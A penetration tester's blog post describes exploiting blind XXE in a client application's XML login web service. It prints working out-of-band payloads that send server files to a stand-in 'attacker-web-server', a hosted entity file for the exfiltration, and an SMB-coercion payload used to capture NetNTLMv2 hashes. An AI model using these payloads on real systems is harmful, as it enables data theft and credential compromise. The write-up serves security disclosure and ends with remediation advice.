This blog post contains details about the identification and exploitation of real-world vulnerabilities identified during client engagements. Information such as screenshots, payloads, names etc. have been modified/obscured to protect the identity and security of the targeted organisation.
Finding the vulnerability
During one of our perimeter assessment exercises, we came across a .NET thin client application that was developed in-house by our client and used by some of their partners to interact with the client’s internal financial systems.
We installed this application locally and upon execution, were presented with a login screen that prompted for credentials:
Due to time restrictions, we did not spend time reversing the software, however opted to identify high-impact quick wins by targeting the server-side components of the application.
HTTP is generally the go-to protocol for Internet-based client-server applications and therefore we decided to intercept network communications with Burp Suite.
Additionally, since most of these thin client applications tend to run in corporate environments, they likely support network proxy configurations. We therefore set up the system proxy to forward network traffic to our local Burp Suite instance.
Following the above, we then attempted a simple login by submitting commonly used credentials, however, were unable to capture any traffic with Burp.
After spending some time debugging the proxy configuration and confirming that the client was indeed using HTTP as a communication protocol with Wireshark, we found that the issue was within one of the configuration files within the application’s directory “application-name.exe.config”. This file contained the following lines of instruction:
This configuration file revealed that traffic to the application’s web services was set to explicitly bypass the system proxy settings. After patching the configuration file, we re-submitted credentials on the login screen and finally observed traffic in Burp.
As a side note, it is important to verify that the Burp Certificate Authority (CA) is installed on the testing machine, since self-signed certificates are generally rejected by the client application.
In this situation, you might encounter the following error message in Burp:
The client failed to negotiate a TLS connection to "web-services-host:443" Remote host terminated the handshake.
Analysing the traffic with burp revealed that the login HTTP request contained an XML data structure similar to the following:
POST /webservice.aspx HTTP/1.1 Content-Type: text/xml Host: [... redacted ...] [...] <NameofApplication> <UserName>test</UserName> <UserPassword>test</UserPassword> [... redacted ...] <Action>login</Action> </NameofApplication>
We noticed that by changing the “Action” value, the endpoint responded with either “login failed” (when Action was set as “login”) or “method not found” (when Action was set to an arbitrary value).
As it turns out, this would be helpful in determining that user-defined XML entities were accepted by the remote service, as depicted in the following request:
POST /webservice.aspx HTTP/1.1 Content-Type: text/xml Host: [... redacted ...] [...] <!DOCTYPE test [<!ENTITY xxe "login"> ]> <NameofApplication> <UserName>test</UserName> <UserPassword>test</UserPassword> [... redacted ...] <Action>&xxe;</Action> </NameofApplication>
When the above request was sent with the entity reference “xxe” set to “login”, the service replied with “login failed”. This proved that our custom entity was effectively processed by the XML parser.
At this point, we have verified that the web services XML parser accepts custom DOCTYPE and entities defined within HTTP requests. Typically, this can cause multiple problems such as:
- XML External Entities (XXE) Injection: external entities can reference files on the parser's filesystem; exploiting this feature may allow retrieval of arbitrary files, or denial of service by causing the server to read from a resource such as /dev/random;
- XML Entity Expansion: recursive entities which reference a significant depth, might cause the XML parser to consume exponentially increasing amounts of memory and processor resources, resulting in a denial-of-service condition;
- Out-of-bound DTD Loads: it is possible to induce an application to fetch content of a Document Type Declaration (DTD) file from an arbitrary external location and incorporate (and process) that content into the XML request.
In the above scenario, our team decided to attempt an XXE injection attack to extract files from the server’s filesystem. As the exploitation result corresponding to the input provided was not reflected in the HTTP response, the only viable option was to make use of external entities and extract files via Out-of-Bound (OOB) techniques.
First, we attempted to force the vulnerable web server into initiating a HTTP request to an Internet-exposed machine that was under our control:
POST /webservice.aspx HTTP/1.1 Content-Type: text/xml Host: [... redacted ...] [...] <!DOCTYPE test [<!ENTITY xxe SYSTEM "https://attacker-web-server/"> ]> <NameofApplication> <UserName>test</UserName> <UserPassword>test</UserPassword> [... redacted ...] <Action>&xxe;</Action> </NameofApplication>
The execution was successful, and we received a call-back connection from the vulnerable server (socat was used to forward HTTPs traffic to HTTP locally):
Next, to extract files from the remote system we used the third payload found here with some slight modifications:
POST /webservice.aspx HTTP/1.1 Content-Type: text/xml Host: [... redacted ...] [...] <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % sp SYSTEM "https://attacker-web-server/b.xml"> %sp; %param1; ]> <NameofApplication> <UserName>test</UserName> <UserPassword>test</UserPassword> [... redacted ...] <Action>&exfil;</Action> </NameofApplication>
It’s worth noting the contents of the hosted file “b.xml”, which contained the following payload:
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://attacker-web-server/?%data;'>">
The reason we appended the “data” entity as part of the HTTP request was to leverage Burp’s Intruder functionality to fuzz files on the remote system, rather than manually updating the enumerated filename within each incoming request to our server.
A good wordlist for common Windows files can be found here.
After some time and having discovered various files, we stumbled across a “web.config” file in "c:\inetpub\wwwroot" containing cleartext credentials of an Active Directory service account!
<configuration> <system.web> <identity password="[REDACTED]" userName="[REDACTED]" /> </system.web> </configuration>
This account was then conveniently used in a phishing campaign against the same client.
An alternative attack was then executed using a similar payload, which coerced the vulnerable web server into performing a Server Message Block (SMB) authentication attempt to an Internet-exposed Responder instance under our control:
POST /webservice.aspx HTTP/1.1 Content-Type: text/xml Host: [... redacted ...] [...] <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % data SYSTEM "\\attacker-responder\test"> <!ENTITY % sp SYSTEM "https://attacker-web-server/b.xml"> %sp; %param1; ]> <NameofApplication> <UserName>test</UserName> <UserPassword>test</UserPassword> [... redacted ...] <Action>&exfil;</Action> </NameofApplication>
To our surprise, outbound SMB traffic was allowed, and the team managed to capture and crack the NetNTLMv2 hash of an additional AD service account.
XML parsers can usually be configured to disable support for external entities. This is the safest way to prevent XXE attacks which, as demonstrated, can lead to the disclosure of sensitive data. You should consult the documentation for your XML parsing library to determine how to disable this feature.